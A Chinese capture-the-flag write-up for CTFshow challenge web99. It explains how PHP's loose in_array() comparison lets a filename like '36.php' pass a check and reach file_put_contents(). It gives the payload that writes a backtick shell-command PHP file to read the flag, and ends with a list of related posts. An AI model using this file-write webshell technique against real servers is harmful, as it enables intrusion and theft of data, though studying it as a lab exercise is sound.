CTFshow php特性 web99
目录
- 源码
- 思路
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com*/highlight_file(__FILE__);
$allow = array(); //$allow = [];
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); //$allow数组中随机传入[1,$i]的值
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); //往文件写入内容
}?>
思路
(Hex)0x36d = (Dec)877
array_push 向数组尾部随机插入一个元素
in_array() 函数搜索数组中是否存在指定的值。
正常流程看起来没什么漏洞,但是ctf一定有解
查了一下in_array()
type参数是判断数据类型是否相同,突然想起来$array
数组里面的是int,我们传入的是字符串,在php字符串和int比较,字符串会被转换成int,因为是弱类型转换,所以 字符串中数字后面的字符串会被忽略
由于in_array没有设置type,我们可以输入36.php,转换之后也就是36,肯定是in_array的,满足条件
题解
多试几次
get: n=36.php
post: content=<?=`tac f*`;
总结
水题
CTFshow php特性 web99相关推荐
- ctfshow php特性 下
目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...
- ctfshow php特性(89——150plus)
web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...
- ctfshow php特性 web89-web115 web123-150wp
php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...
- CTFshow php特性 web150plus
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web150
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web147
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web140
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web138
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
- CTFshow php特性 web137
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...
最新文章
- 《C程序设计语言》(第二版)要点总结
- 计算机科学和建筑设计结合,智能化建筑中计算机科学与技术的应用
- 深度学习(二十七)可视化理解卷积神经网络
- Linux系统C/C++通用错误码实现模板
- AirServer for mac如何实现无线投屏
- linux源码编译安装apache,Ubuntu 16.04源码编译安装Apache 2.4.25教程
- logit回归模型假设_LOGISTIC回归分析
- 计算机课程教学调查问卷,计算机基础课程调查问卷
- Http的三次握手与四次挥手的流程:SYN包--同步包 ACK包--应答包 FIN包--终止包
- qtableview 鼠标划过单元格弹出标签显示单元格内容
- html语言设置网页背景,在html网页中如何设置背景图片?网页背景怎么设置?
- FakeSMC 修改
- 海思开发板上挂载额外的存储空间
- 如何搭建一个属于自己的博客/企业网站?
- vue简单实现多功能弹幕(比上一个好)
- 【Designing ML Systems】第 4 章 :训练数据
- mysql数据库事务的实现原理
- java毕业设计星之语明星周边产品销售网站Mybatis+系统+数据库+调试部署
- 2021 CSP-J复赛 我的备战与游记
- Excel中数据源发生变动时如何定时刷新数据透视表